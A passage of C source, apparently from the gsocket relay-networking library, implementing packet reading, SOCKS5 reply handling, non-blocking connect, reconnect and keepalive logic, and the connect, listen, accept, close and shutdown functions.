GS_sanitize_logmsg(msg, sizeof msg, (char *)status->msg, sizeof status->msg);
if (msg[0] != '\0')
err_str = msg;
break;
}
gsocket->status_code = status->code;
gs_set_errorf(gsocket, "%s (%u)", err_str, status->code);
return GS_ERR_FATAL;
}
return GS_SUCCESS;
}
DEBUGF("Invalid Packet Type %d - Ignoring..\n", sox->rbuf[0]);
return GS_SUCCESS;
}
/*
* Return length of bytes read, 0 for waiting and otherwise ERROR
* (treat EOF as GS_ERROR (and eventually reconnect if this is a listening socket)
*/
static ssize_t
sox_read(struct gs_sox *sox, size_t len)
{
ssize_t ret;
ret = read(sox->fd, sox->rbuf + sox->rlen, len);
if (ret == 0) /* EOF */
{
/* HERE: GS-NET can not find a listening peer for this GS-address.
* Disconnect hard.
*/
DEBUGF_R("EOF on GS TCP connection -> treat as ECONNRESET\n");
errno = ECONNRESET;
return GS_ERROR; // ERROR
}
if (ret < 0)
{
/* This can happen when we read packets. We read 1 byte and
* then without going into select() we try to read the rest
* of the packet.
*/
if ((errno == EAGAIN) || (errno == EINTR))
{
#ifdef DEBUG
gs_fds_out_fd(gs_debug_rfd, 'r', sox->fd);
gs_fds_out_fd(gs_debug_r, 'R', sox->fd);
#endif
DEBUGF_R("EAGAIN [would block], wanting %zd\n", len);
return 0; // Waiting. No data read.
}
return GS_ERROR;
}
sox->rlen += ret;
return ret; // Return the number of bytes read.
}
/*
* Read at least 'min' bytes or return error if waiting.
* Return min on SUCCESS (min bytes available in buffer)
* Return GS_ERR_WAITING when waiting for more data.
* Return GS_ERROR on error (recoverable. re-connect)
* Return GS_ERR_FATAL on non-recoverable errors (never?)
*/
static ssize_t
sox_read_min(struct gs_sox *sox, size_t min)
{
size_t len_rem;
int ret;
XASSERT(sox->rlen < min, "Data in buffer is %zu but only needing %zu\n", sox->rlen, min);
len_rem = min - sox->rlen;
ret = sox_read(sox, len_rem);
if (ret == GS_ERROR)
return GS_ERROR;
if (ret == GS_ERR_FATAL)
return GS_ERR_FATAL; // never happens
if (sox->rlen < min)
return GS_ERR_WAITING;
/* Not enough data */
return min;
}
static int
gs_read_pkt(GS *gs, struct gs_sox *sox)
{
int ret;
/* Read GS message. */
/* Read GS MSG header (first octet) */
if (sox->rlen == 0)
{
ret = sox_read(sox, 1);
if (ret != 1)
return GS_ERROR;
}
size_t len_pkt = sizeof (struct _gs_pong);
/* Client only allowed to receive START, STATUS and PONG */
switch (sox->rbuf[0])
{
case GS_PKT_TYPE_PONG:
case GS_PKT_TYPE_START:
case GS_PKT_TYPE_STATUS:
break;
case GS_PKT_TYPE_LISTEN:
case GS_PKT_TYPE_CONNECT:
len_pkt = sizeof (struct _gs_listen);
case GS_PKT_TYPE_PING:
default:
DEBUGF_R("Packet type=%d not valid (for client)\n", sox->rbuf[0]);
}
ret = sox_read_min(sox, len_pkt);
if (ret == GS_ERR_WAITING)
return GS_SUCCESS; // Not enough data yet
if (ret != len_pkt)
return GS_ERROR; // ERROR
ret = gs_pkt_dispatch(gs, sox);
sox->rlen = 0;
return ret;
}
/* Accept Auth: 0x05 0x00
* Success : 0x05 0x00 0x00 0x01 [IP 4bytes] [PORT 2bytes]
*/
struct _socks5_pkt
{
uint8_t ver;
uint8_t res;
uint8_t ver2;
uint8_t code;
uint8_t res2;
uint8_t ip_type;
uint8_t ip[4];
uint8_t port[2];
};
/*
* Read reply from Socks5 and 'dispatch' (change state when done or -1 on error).
*/
static int
gs_read_socks(GS *gs, struct gs_sox *sox)
{
int ret;
struct _socks5_pkt spkt;
size_t len_pkt = sizeof (struct _socks5_pkt);
ret = sox_read_min(sox, len_pkt);
if (ret == GS_ERR_WAITING)
return GS_SUCCESS;
if (ret != len_pkt)
return GS_ERROR;
// HEXDUMPF(sox->rbuf, len_pkt, "Socks5 (%zu): ", len_pkt);
memcpy(&spkt, sox->rbuf, sizeof spkt);
if (spkt.code != 0)
return GS_ERROR;
DEBUGF_M("Socks5 CONNECTED\n");
/* Socks5 completed. Start GS listen/connect */
sox->flags &= ~GS_SOX_FL_AWAITING_SOCKS;
gs_net_connect_complete(gs, sox);
sox->rlen = 0;
return GS_SUCCESS;
}
/*
* Socket has something to read() or write()
* Return 0 on success.
*/
static int
gs_process_by_sox(GS *gsocket, struct gs_sox *sox)
{
int ret;
GS_CTX *gs_ctx = gsocket->ctx;
errno = 0;
if (FD_ISSET(sox->fd, gs_ctx->w))
{
DEBUGF("fd == %d\n", sox->fd);
if (sox->state == GS_STATE_SYS_CONNECT)
{
ret = gs_net_connect_by_sox(gsocket, sox);
if (ret != GS_SUCCESS)
{
DEBUGF_R("will ret = %d, errno %s\n", ret, strerror(errno));
gsocket->status_code = GS_STATUS_CODE_NETERROR;
return GS_ERROR; /* ECONNREFUSED or other */
}
DEBUGF("GS-NET Connection (TCP) ESTABLISHED (fd = %d)\n", sox->fd);
/* rfd is set in gs_net_connect_by_sox */
gs_fds_out_fd(gsocket->ctx->rfd, 'r', sox->fd);
gs_fds_out_fd(gsocket->ctx->wfd, 'w', sox->fd);
return GS_SUCCESS;
}
/* Complete a failed write() */
if ((sox->state == GS_STATE_PKT_PING) || (sox->state == GS_STATE_PKT_LISTEN) || (sox->state == GS_STATE_SOCKS))
{
ret = write(sox->fd, sox->wbuf, sox->wlen);
if (ret != sox->wlen)
{
DEBUGF("ret = %d, len = %zu, errno = %s\n", ret, sox->wlen, strerror(errno));
return GS_ERROR;
}
FD_CLR(sox->fd, gs_ctx->wfd);
XFD_SET(sox->fd, gs_ctx->rfd);
sox->state = GS_STATE_SYS_NONE;
return GS_SUCCESS;
}
/* write() data still in output buffer */
DEBUGF("Oops. WFD ready but not in SYS_CONNECT or PKT_PING? (fd = %d, state = %d)\n", sox->fd, sox->state);
return GS_ERR_FATAL;
} /* gs_ctx->w was set */
/* HERE: rfd is set - ready to read */
DEBUGF_M("rfd is set (state == %d)\n", sox->state);
if (sox->flags & GS_SOX_FL_AWAITING_SOCKS)
{
ret = gs_read_socks(gsocket, sox);
} else {
ret = gs_read_pkt(gsocket, sox);
}
return ret;
}
/*
* Call every second to take care of house-keeping and keep
* alive messages.
*/
void
GS_heartbeat(GS *gsocket)
{
int i;
if (gsocket == NULL)
return;
if (gsocket->fd >= 0)
return;
/* Check if it is time to send a PING to keep the connection alive */
for (i = 0; i < gsocket->net.n_sox; i++)
{
struct gs_sox *sox = &gsocket->net.sox[i];
XASSERT(sox->state != GS_STATE_APP_CONNECTED, "fd = %d but APP already CONNECTED state\n", gsocket->fd);
// Skip if busy with connect() systemcall.
if (sox->state == GS_STATE_SYS_CONNECT)
{
if (GS_TV_TO_USEC(gsocket->ctx->tv_now) < gsocket->net.tv_connect + GS_SEC_TO_USEC(GS_WARN_SLOWCONNECT))
continue;
if (sox->flags & GS_SOX_FL_WARN_SLOWCONNECT)
continue;
// Warning if connection takes longer than expected...
sox->flags |= GS_SOX_FL_WARN_SLOWCONNECT;
GS_LOG("Connecting to GSRN [%s:%d] takes longer than expected. Still trying...\n", int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port));
continue;
}
// Skip if 'want-write' is already set. We are already trying to write data.
// fd is -1 if connect() failed
if ((sox->fd >= 0) && (FD_ISSET(sox->fd, gsocket->ctx->wfd)))
continue;
/* Skip if outstanding PONG..*/
if (sox->flags & GS_SOX_FL_AWAITING_PONG)
continue;
XASSERT(sox->state != GS_STATE_PKT_ACCEPT, "APP_CONNECTED == false _and_ state == ACCEPT\n");
if (sox->state == GS_STATE_SYS_RECONNECT)
{
gs_net_try_reconnect_by_sox(gsocket, sox);
continue;
}
if (sox->state == GS_STATE_SYS_NONE)
{
uint64_t tv_diff = GS_TV_DIFF(&sox->tv_last_data, gsocket->ctx->tv_now);
// DEBUGF("diff = %llu\n", tv_diff);
if (tv_diff > GS_SEC_TO_USEC(GSRN_DEFAULT_PING_INTERVAL))
{
gs_pkt_ping_write(gsocket, sox);
memcpy(&sox->tv_last_data, gsocket->ctx->tv_now, sizeof sox->tv_last_data);
}
continue;
}
ERREXIT("NOT REACHED\n");
}
}
static void
gs_net_reconnect_by_sox(GS *gs, struct gs_sox *sox)
{
gs_net_connect_new_socket(gs, sox);
/* FIXME: if a connect() call succeeds and this gsocket has more
* than 1 'listen' TCP connections trying to connect() then we could
* trigger a re-connect on all sox which are in state GS_STATE_SYS_RECONNECT
* immediately without having to wait for RECONNECT_DELAY.
*/
}
/*
* Try to connect() again or if this is to soon since the failed attempt then
* wait and let GS_heartbeat() wake us up when it is time.
*/
static void
gs_net_try_reconnect_by_sox(GS *gs, struct gs_sox *sox)
{
sox->state = GS_STATE_SYS_RECONNECT;
if (GS_TV_TO_USEC(gs->ctx->tv_now) <= gs->net.tv_connect + GS_SEC_TO_USEC(GS_RECONNECT_DELAY))
{
DEBUGF_M("To many connect() attempts. Heartbeat will wake us later...\n");
return;
}
/* Ignore return value. If this fails then ignorning return value means
* we will re-use old IP (which is what we want).
*/
/* Only update IP from hostname like every 12h or so (this should never change) */
if (GS_TV_TO_USEC(gs->ctx->tv_now) > gs->net.tv_gs_hton + GS_SEC_TO_USEC(GS_GS_HTON_DELAY))
{
if (gs->net.hostname != NULL)
{
DEBUGF_Y("Newly resolving %s\n", gs->net.hostname);
gs_set_ip_by_hostname(gs, gs->net.hostname);
}
}
gs_net_reconnect_by_sox(gs, sox);
}
/*
* Only called while APP is not yet connected and managing GS-packets.
* Check "fd_accepted" for any fd that can be passed to app-layer.
*
* Return 0 on success.
*/
static int
gs_process(GS *gsocket)
{
int ret;
int i;
if (gsocket->fd >= 0)
{
DEBUGF("*** WARNING ***: No more GS-Net messages after accept please..\n");
ERREXIT("Should not happen\n");
return GS_ERR_FATAL; // NOT REACHED
}
for (i = 0; i < gsocket->net.n_sox; i++)
{
struct gs_sox *sox = &gsocket->net.sox[i];
/* No PING/PONG (KeepAlive) and no further processing of any
* GS Protocol messages once the GS-SOCKET is connected.
* Instead forward all read() data to application via GS_read().
*/
if (sox->state == GS_STATE_APP_CONNECTED)
{
ERREXIT("Should not happen\n"); /* GS is disengaged from GS-Net..*/
continue;
}
if (FD_ISSET(sox->fd, gsocket->ctx->r) || FD_ISSET(sox->fd, gsocket->ctx->w))
{
ret = gs_process_by_sox(gsocket, sox);
DEBUGF("gs_process_by_sox() = %d\n", ret);
if (ret == GS_ERROR)
{
/* GS_connect() shall not auto reconnect */
if (!(gsocket->flags & GS_FL_AUTO_RECONNECT))
return GS_ERR_FATAL;
/* HERE: Auto-Reconnect. Failed in connect() or write(). */
DEBUGF_M("GS-NET error. Re-connecting...\n");
GS_LOG_ERR("%s GSRN %s. Re-connecting to %s:%d...\n", GS_logtime(), strerror(errno), int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port));
close(sox->fd);
gs_net_init_by_sox(gsocket->ctx, sox);
gs_net_try_reconnect_by_sox(gsocket, sox);
continue;
}
if (ret != GS_SUCCESS)
{
DEBUGF_R("FATAL errno(%d) = %s\n", errno, strerror(errno));
return GS_ERR_FATAL;
}
// HERE: connect() succeeded
memcpy(&sox->tv_last_data, gsocket->ctx->tv_now, sizeof sox->tv_last_data);
/* Immediatly let app know that a new gs-connection has been accepted */
if (gsocket->net.fd_accepted >= 0)
break;
/* We must CLEAR currently processed fd. Otherwise it can happen
* that another fd of this listening socket is also ready for r/w
* and we would process _this_ fd again (it's a sequential for-loop
* over all fd's of a listening gsocket.
*/
FD_CLR(sox->fd, gsocket->ctx->r);
FD_CLR(sox->fd, gsocket->ctx->w);
/* 'break' here. The calling function's 'select' loop will call us again.
* Otherwise the 'n = select()' counter will be off (if we process multiple
* fd's at once without n-- the counter.
*/
// break;
}
}
DEBUGF("Returning 0 (fd_accepted == %d)\n", gsocket->net.fd_accepted);
return 0;
}
int
GS_get_fd(GS *gsocket)
{
/* If socket is connected already (APP layer) */
if (gsocket->fd >= 0)
return gsocket->fd;
/* Connecting socket.
* Note: We may accidentially return a Accepting-socket here
* which is bad (GS_get_fd() is only valid on connecting
* or established socket but not on accpepting sockets (because
* accepting sockets operate on an array of accepting sockets rather
* than a single socket.
*/
if (gsocket->net.n_sox > 1)
return -1;
return gsocket->net.sox[0].fd;
}
/*
* Return 0 on success.
* Called from gs_net_connect
*/
static int
gs_net_new_socket(GS *gsocket, struct gs_sox *sox)
{
int s;
int ret;
gsocket->flags |= GS_FL_CALLED_NET_NEW_SOCKET;
s = socket(PF_INET, SOCK_STREAM, 0);
DEBUGF_W("socket() == %d (LIB)\n", s);
if (s < 0)
return -1;
ret = fcntl(s, F_SETFL, O_NONBLOCK | fcntl(s, F_GETFL, 0));
if (ret != 0)
return -1;
gsocket->ctx->max_sox = MAX(s, gsocket->ctx->max_sox);
sox->fd = s;
return 0;
}
/*
* Create a new socket and connect to GS-NET.
*/
static int
gs_net_connect_new_socket(GS *gs, struct gs_sox *sox)
{
int ret;
/*
* If we use the GS_select() subsystem:
* After GS_accept() a new TCP connection is established to
* the GS-NET. We must track the new fd of that new TCP connection
* with GS_select(). Here: Find out the call-back for original listening
* socket and assign it to new TCP connection (GS-NET).
*/
/* GS_select-HACK-1-START */
gselect_cb_t func;
int cb_val;
func = gs->ctx->func_listen;
cb_val = gs->ctx->cb_val_listen;
GS_SELECT_CTX *gselect_ctx = gs->ctx->gselect_ctx;
/* GS_select_HACK-1-END */
DEBUGF("gs_net_connect called (GS_select() cb_func = %p\n", func);
if (sox->fd < 0)
{
// HERE: socket() does not exist yet. Create it.
ret = gs_net_new_socket(gs, sox);
if (ret != GS_SUCCESS)
return GS_ERROR;
}
gs->net.tv_connect = GS_TV_TO_USEC(gs->ctx->tv_now);
// The calling process expects a socket to be created here regardless
// if IP is known. Thus we create a socket but only call 'connect()' once
// IP is known (e.g. domain name resolves).
if (gs->net.addr == 0)
{
// IP address failed to resolve.
// Go into reconnect state. Heartbeat complete the connect()...
if (sox->state == GS_STATE_SYS_RECONNECT)
return GS_SUCCESS; // return immediately if this is already a reconnect
sox->state = GS_STATE_SYS_RECONNECT;
} else {
GS_LOG_VV("Connecting to %s:%d...\n", int_ntoa(gs->net.addr), ntohs(gs->net.port));
/* Connect TCP */
ret = gs_net_connect_by_sox(gs, sox);
DEBUGF("gs_net_connect_by_sox(fd = %d): %d, %s\n", sox->fd, ret, strerror(errno));
if (ret == GS_ERR_FATAL)
ERREXIT("%s\n", GS_CTX_strerror(gs->ctx));
}
/* GS_select-HACK-1-START */
if (gs->ctx->gselect_ctx != NULL)
{
DEBUGF_B("Using GS_select() with new fd = %d, func = %p\n", sox->fd, func);
/* HERE: We are using GS_select(). Track new fd. */
gs_listen_add_gs_select_by_sox(gselect_ctx, func, sox->fd, gs, cb_val);
}
/* GS_select-HACK-1-END */
return GS_SUCCESS;
}
/*
* Connect to the GS-NET (non-blocking).
* Return 0 on success.
* Return -1 on fatal error (must exist).
*/
static int
gs_net_connect(GS *gsocket)
{
int ret;
int i;
GS_CTX *gs_ctx;
if (gsocket == NULL)
return -1;
gs_ctx = gsocket->ctx;
if (gs_ctx == NULL)
return -1;
if (gsocket->flags & GS_FL_TCP_CONNECTED)
return 0; /* Already connected */
for (i = 0; i < gsocket->net.n_sox; i++)
{
struct gs_sox *sox = &gsocket->net.sox[i];
ret = gs_net_connect_new_socket(gsocket, sox);
if (ret != GS_SUCCESS)
return ret;
} /* FOR loop over all sockets */
return 0;
}
static void
gs_net_init_by_sox(GS_CTX *ctx, struct gs_sox *sox)
{
XFD_CLR(sox->fd, ctx->wfd);
XFD_CLR(sox->fd, ctx->rfd);
memset(sox, 0, sizeof *sox);
sox->fd = -1;
}
static void
gs_net_init(GS *gsocket, int backlog)
{
int i;
backlog = MIN(backlog, GS_MAX_SOX_BACKLOG);
gsocket->net.n_sox = backlog;
for (i = 0; i < gsocket->net.n_sox; i++)
{
gs_net_init_by_sox(gsocket->ctx, &gsocket->net.sox[i]);
}
}
/*
* Free fd from GS-NET structure and pass to application layer.
* Return 0 on success.
*
* This function is called by GS_accept() and GS_connect()
* GS_connect() is gsocket == new_gs because the same GS is used
* whereas for GS_accept() the gsocket is the listening socket (that will
* continue to listen) and new_gs is a newly created GS.
*/
static int
gs_net_disengage_tcp_fd(GS *gsocket, GS *new_gs)
{
int i;
int new_fd = -1;
for (i = 0; i < gsocket->net.n_sox; i++)
{
struct gs_sox * sox = &gsocket->net.sox[i];
if (sox->fd != gsocket->net.fd_accepted)
continue;
/*
* Return GS-connected socket fd to app (and stop processing any PKT on that fd...).
*/
new_fd = gsocket->net.fd_accepted;
gsocket->net.fd_accepted = -1;
gsocket->flags &= ~GS_FL_TCP_CONNECTED;
gsocket->net.conn_count -= 1;
if (gsocket->net.conn_count < 0)
ERREXIT("FATAL: conn_count dropped to %d\n", gsocket->net.conn_count);
sox->state = GS_STATE_SYS_NONE;
sox->fd = -1;
gs_instantiate(gsocket, new_gs, new_fd);
return 0;
}
DEBUGF("*** WARNING ***: Can This happen???\n");
return -2;
}
/*
* non-blocking.
* Return -1 for waiting.
* Return -2 on error
* Return 0 on success.
*/
static int
gs_connect(GS *gsocket)
{
int ret;
DEBUGF("gs_connect(fd = %d)\n", gsocket->fd);
/* Connect to GS-NET if not already connected */
if (!(gsocket->flags & GS_FL_CALLED_NET_CONNECT))
{
gsocket->flags |= GS_FL_CALLED_NET_CONNECT;
gsocket->flags |= GS_FL_IS_CLIENT;
gs_net_init(gsocket, 1);
DEBUGF("Connecting to GS-Net...\n");
ret = gs_net_connect(gsocket);
DEBUGF("gs_net_connect() = %d\n", ret);
if (ret != 0)
return GS_ERR_FATAL;
return GS_ERR_WAITING;
}
ret = gs_process(gsocket);
DEBUGF("gs_process() = %d, error(%d) = %s\n", ret, errno, errno?strerror(errno):"");
if (ret != 0)
return GS_ERR_FATAL;
if (gsocket->net.fd_accepted >= 0)
{
DEBUGF_B("New GS connection SUCCESS (fd = %d)\n", gsocket->net.fd_accepted);
/* On connect() we do not create a new socket but assign existing
* tcp-socket to this connection.
*/
ret = gs_net_disengage_tcp_fd(gsocket, gsocket);
if (ret != 0)
return GS_ERR_FATAL;
return 0;
}
return GS_ERR_WAITING;
}
/*
* Return 0 on success.
*/
static int
gs_connect_blocking(GS *gsocket)
{
int ret;
int n;
ret = gs_connect(gsocket);
GS_CTX *ctx = gsocket->ctx;
while (1)
{
struct timeval tv = {1, 0};
// FIXME: there could be many other fd's set here from other CTX. We really
// should only set our fd's from this gsocket (either ->fd or ->gs_net).
memcpy(ctx->r, ctx->rfd, sizeof *ctx->r);
memcpy(ctx->w, ctx->wfd, sizeof *ctx->w);
n = select(gsocket->ctx->max_sox + 1, ctx->r, ctx->w, NULL, &tv);
if ((n < 0) && (errno == EINTR))
continue;
gettimeofday(gsocket->ctx->tv_now, NULL);
GS_heartbeat(gsocket);
if (n == 0)
continue;
ret = gs_connect(gsocket);
DEBUGF("gs_connect() = %d, gsocket->fd = %d\n", ret, gsocket->fd);
if (ret == GS_ERR_WAITING)
continue;
if (ret == GS_ERR_FATAL)
return GS_ERR_FATAL;
DEBUGF("Setting FD BLOCKING\n");
int tcp_fd = gsocket->fd;
/* Make tcp fd 'blocking' for caller. */
fcntl(tcp_fd, F_SETFL, ~O_NONBLOCK & fcntl(tcp_fd, F_GETFL, 0));
return ret;
}
ERREXIT("Oops. This should not happen\n");
return GS_ERR_FATAL;
}
/*
* Return 0 on success.
* Return -1 if still waiting for connection to be established.
* Return -2 on error.
*/
int
GS_connect(GS *gsocket)
{
int ret;
DEBUG_SETID(gsocket);
if (gsocket->net.fd_accepted >= 0)
{
/* This GS-socket is already connected.... */
errno = EBUSY;
return GS_ERR_FATAL;
}
/* For auto-reconnecting client side (is it needed?) consider:
* - How to handle when no listening server is available
* - Warn user if GSRN is unavailable.
*/
// gsocket->flags |= GS_FL_AUTO_RECONNECT;
if (gsocket->flags & GSC_FL_NONBLOCKING)
ret = gs_connect(gsocket);
else
ret = gs_connect_blocking(gsocket);
if (ret < 0)
{
if (errno == ECONNRESET)
gsocket->status_code = GS_STATUS_CODE_NETERROR;
DEBUGF("GS_connect() will ret = %d (%s)\n", ret, ret==GS_ERR_WAITING?"WAITING":"FATAL");
return ret;
}
#ifdef WITH_GSOCKET_SSL
if (gsocket->flags & GSC_FL_USE_SRP)
{
ret = gs_srp_init(gsocket);
if (ret >= 0)
ret = 0; /* SUCCESS */
}
#endif
return ret;
}
/*
* Return 0 on success. This can not fail.
*/
int
GS_listen(GS *gsocket, int backlog)
{
DEBUG_SETID(gsocket);
gsocket->flags |= GS_FL_AUTO_RECONNECT;
gs_net_init(gsocket, backlog);
gs_net_connect(gsocket);
return 0;
}
static void
gs_listen_add_gs_select_by_sox(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val)
{
/* There might be some PING/PONG keepalive going on. Set both RW-fds
* and let GS_accept() figure it out.
* WARNING: If you change this also look for GS_select-HACK-1
*/
GS_SELECT_add_cb_r(ctx, func, fd, arg, val);
GS_SELECT_add_cb_w(ctx, func, fd, arg, val);
}
/*
* Helper function to set all fd's that the listening gsocket
* is using for calling accept() on. Listening gsocket's
* listen on more than just 1 fd to allow for gs-peers to connect
* rapidly. There usually is only 1 listening gsocket per process.
*/
void
GS_listen_add_gs_select(GS *gs, GS_SELECT_CTX *ctx, gselect_cb_t func, void *arg, int val)
{
gs->ctx->func_listen = func;
gs->ctx->cb_val_listen = val;
int i;
for (i = 0; i < gs->net.n_sox; i++)
{
int fd = gs->net.sox[i].fd;
gs_listen_add_gs_select_by_sox(ctx, func, fd, arg, val);
}
}
/*
* Return a GS on accept or NULL if still waiting.
*/
/*
* Return -1 on waiting
* Return -2 on fatal
* Return 0 on success.
*/
static int
gs_accept(GS *gsocket, GS *new_gs)
{
int ret;
DEBUGF("Called gs_accept(%p, %p)\n", gsocket, new_gs);
ret = gs_process(gsocket);
if (ret != 0)
{
DEBUGF("ERROR: in gs_process(), ret = %d\n", ret);
return GS_ERR_FATAL;
}
/* Check if there is a new gs-connection waiting */
if (gsocket->net.fd_accepted >= 0)
{
DEBUGF("New GS Connection accepted (fd = %d, n_sox = %d)\n", gsocket->net.fd_accepted, gsocket->net.n_sox);
ret = gs_net_disengage_tcp_fd(gsocket, new_gs);
XASSERT(ret == 0, "ret = %d\n", ret);
if (!(gsocket->flags & GS_FL_SINGLE_SHOT))
{
/* Start new TCP to GS-Net to listen for more incoming connections */
gs_net_connect(gsocket);
}
return GS_SUCCESS;
}
return GS_ERR_WAITING; /* Waiting for socket */
}
/*
* Return -1 on waiting
* Return -2 on fatal
* Return 0 on success.
*/
int
gs_accept_blocking(GS *gsocket, GS *new_gs)
{
int ret;
int n;
while (1)
{
struct timeval tv = {1, 0};
memcpy(gsocket->ctx->r, gsocket->ctx->rfd, sizeof *gsocket->ctx->r);
memcpy(gsocket->ctx->w, gsocket->ctx->wfd, sizeof *gsocket->ctx->w);
n = select(gsocket->ctx->max_sox + 1, gsocket->ctx->r, gsocket->ctx->w, NULL, &tv);
if ((n < 0) && (errno == EINTR))
continue;
if (n < 0)
DEBUGF_R("select(): %s\n", strerror(errno));
gettimeofday(gsocket->ctx->tv_now, NULL);
GS_heartbeat(gsocket);
if (n == 0)
continue;
ret = gs_accept(gsocket, new_gs);
if (ret == -2)
return -2;
if (ret == GS_ERR_WAITING)
continue;
/* Make tcp fd 'blocking' for caller. */
fcntl(new_gs->fd, F_SETFL, ~O_NONBLOCK & fcntl(new_gs->fd, F_GETFL, 0));
return 0;
}
ERREXIT("Oops. This should not happen\n");
return -2; /* NOT REACHED */
}
/*
* Return NULL on Waiting
* Return GS otherwise.
*
* This function can not return 'fatal' as any error such
* as SRP failure is recoverable by this sub-system (by for example
* opening a new connection and trying again).
*/
GS *
GS_accept(GS *gsocket, int *err)
{
GS gs_tmp;
int ret;
DEBUG_SETID(gsocket);
if (err != NULL)
*err = 0;
memset(&gs_tmp, 0, sizeof gs_tmp);
if (gsocket->flags & GSC_FL_NONBLOCKING)
ret = gs_accept(gsocket, &gs_tmp);
else
ret = gs_accept_blocking(gsocket, &gs_tmp);
if (ret < 0)
{
if (err != NULL)
*err = ret;
return NULL; /* WAITING or FATAL */
}
/* HERE: gs_accept() SUCCESS */
/* Instantiate gs */
GS *new_gs = calloc(1, sizeof *new_gs);
XASSERT(new_gs != NULL, "calloc()\n");
memcpy(new_gs, &gs_tmp, sizeof *new_gs);
memcpy(&new_gs->tv_connected, gsocket->ctx->tv_now, sizeof new_gs->tv_connected);
new_gs->flags |= GS_FL_IS_SERVER;
#ifdef WITH_GSOCKET_SSL
if (new_gs->flags & GSC_FL_USE_SRP)
{
ret = gs_srp_init(new_gs);
if (ret < 0)
{
DEBUGF("gs_srp_init() = %d (FAILED), Closing gs...\n", ret);
gs_close(new_gs); /* Free SSL and close socket */
if (err != NULL)
*err = -2;
return NULL;
}
}
#endif
/* All further will be handled by calls to GS_write() or GS_read() */
return new_gs;
}
/*
* as GS_close() but without call to free().
*/
static void
gs_close(GS *gsocket)
{
XASSERT(gsocket != NULL, "gsocket == NULL\n");
if (gsocket->fd >= 0)
{
DEBUGF_B("Closing I/O socket (fd = %d)\n", gsocket->fd);
FD_CLR(gsocket->fd, gsocket->ctx->rfd);
FD_CLR(gsocket->fd, gsocket->ctx->wfd);
FD_CLR(gsocket->fd, gsocket->ctx->r);
FD_CLR(gsocket->fd, gsocket->ctx->w);
/* HERE: This was not listening socket */
// shutdown(gsocket->fd, SHUT_WR);
// sleep(1);
// gsocket->fd = -1;
XCLOSE(gsocket->fd);
return;
}
/* HERE: There are GS-Net connections that need to be cleaned.*/
int i;
/* Close all TCP connections to GS-Network */
DEBUGF_B("Closing %d GSN connections\n", gsocket->net.n_sox);
for (i = 0; i < gsocket->net.n_sox; i++)
{
struct gs_sox * sox = &gsocket->net.sox[i];
if (sox->fd < 0)
continue;
DEBUGF_B("Closing I/O socket (sox->fd = %d)\n", sox->fd);
FD_CLR(sox->fd, gsocket->ctx->rfd);
FD_CLR(sox->fd, gsocket->ctx->wfd);
FD_CLR(sox->fd, gsocket->ctx->r);
FD_CLR(sox->fd, gsocket->ctx->w);
XCLOSE(sox->fd);
}
gsocket->net.n_sox = 0;
return;
}
/*
* Return 0 on success.
* Return -2 on fatal error.
*/
int
GS_close(GS *gsocket)
{
DEBUG_SETID(gsocket);
DEBUGF_B("read: %"PRId64", written: %"PRId64"\n", gsocket->bytes_read, gsocket->bytes_written);
if (gsocket == NULL)
return -2;
#ifdef WITH_GSOCKET_SSL
if (gsocket->flags & GSC_FL_USE_SRP)
{
if (gsocket->ssl != NULL)
{
DEBUGF_G("Calling SSL_free()\n");
SSL_free(gsocket->ssl);
gsocket->ssl = NULL;
} else {
DEBUGF_R("gs->ssl == NULL, This must be the listening socket.\n");
}
}
#endif
gs_close(gsocket);
memset(gsocket, 0, sizeof *gsocket);
free(gsocket);
return 0;
}
/*
* Return ERR_WAITING if I/O needs attention (blocking) [Will Trigger CALL-AGAIN]
* Return GS_SUCCESS if gsocket is still alive (for reading, but not writing)
* Return ERR_FATAL if gsocket is DONE (destroy connection).
* Return ERR_FATAL on fatal error (destroy connection).
*/
int
GS_shutdown(GS *gsocket)
{
int ret;
DEBUG_SETID(gsocket);
if (gsocket->flags & GSC_FL_USE_SRP)
{
if (gsocket->ssl_state != GS_SSL_STATE_RW)
{
/* Return if the SSL is not yet connected. We can not shut down
* unless it's connected. Shutdown triggered after SRP completion.
*/
gsocket->is_want_shutdown = 1;
return GS_SUCCESS;
}
ret = gs_ssl_shutdown(gsocket);
return ret;
} else {
gsocket->is_sent_shutdown = 1;
if (gsocket->eof_count >= 1)
ret = shutdown(gsocket->fd, SHUT_RDWR);
else
ret = shutdown(gsocket->fd, SHUT_WR);
DEBUGF_B("tcp shutdown() = %d, eof_count=%d\n", ret, gsocket->eof_count);
if (gsocket->eof_count == 0)
return GS_SUCCESS;
return GS_ERR_FATAL;
}
return GS_ERR_FATAL; /* NOT REACHED */
}
/*
* Return error string (0-terminated).
* Format: [ - ][[SSL-Error string]]
*/
const char *
GS_CTX_strerror(GS_CTX *gs_ctx)
{
char *dst = gs_ctx->err_buf2;
int dlen = sizeof gs_ctx->err_buf2;
*dst = 0;
// First record 'errno' (if set)
if (errno != 0)
snprintf(dst, dlen, "%s", strerror(errno));
// Then add everything from our internal error buffer
if (strlen(gs_ctx->err_buf) > 0)
{
if (errno != 0)
snprintf(dst + strlen(dst), dlen - strlen(dst), " - "); // strlcat(dst, " - ", dlen);
snprintf(dst + strlen(dst), dlen - strlen(dst), "%s", gs_ctx->err_buf);
}
/* Get the last SSL error only. Clear the error-queue */
int err = 0;
int err2;
while (1)
{
err2 = ERR_get_error();
DEBUGF_Y("err2 = %d\n", err2);
if (err2 == 0)
break;
err = err2;
}
if (err != 0)
{
snprintf(dst + strlen(dst), dlen - strlen(dst), " [%s]", ERR_error_string(err, NULL));
}
return gs_ctx->err_buf2;
}
const char *
GS_strerror(GS *gsocket)
{
return GS_CTX_strerror(gsocket->ctx);
}
/*
* Called after CTX has been created. Set template flags for GS.
* Flags are copied to GS on GS_new().
*/
int
GS_CTX_setsockopt(GS_CTX *ctx, int level, const void *opt_value, size_t opt_len)
{
// PROTO-FLAGS
if (level == GS_OPT_SOCKWAIT)
{
ctx->flags_proto |= GS_FL_PROTO_WAIT;
ctx->flags_proto &= ~GS_FL_PROTO_FAST_CONNECT; // Disable fast-connect
} else if (level == GS_OPT_CLIENT_OR_SERVER) {
ctx->flags_proto |= GS_FL_PROTO_CLIENT_OR_SERVER;
ctx->flags_proto &= ~GS_FL_PROTO_FAST_CONNECT; // Disable fast-connect
} else if (level == GS_OPT_LOW_LATENCY) {
ctx->flags_proto |= GS_FL_PROTO_LOW_LATENCY;
} else if (level == GS_OPT_SERVER_CHECK) {
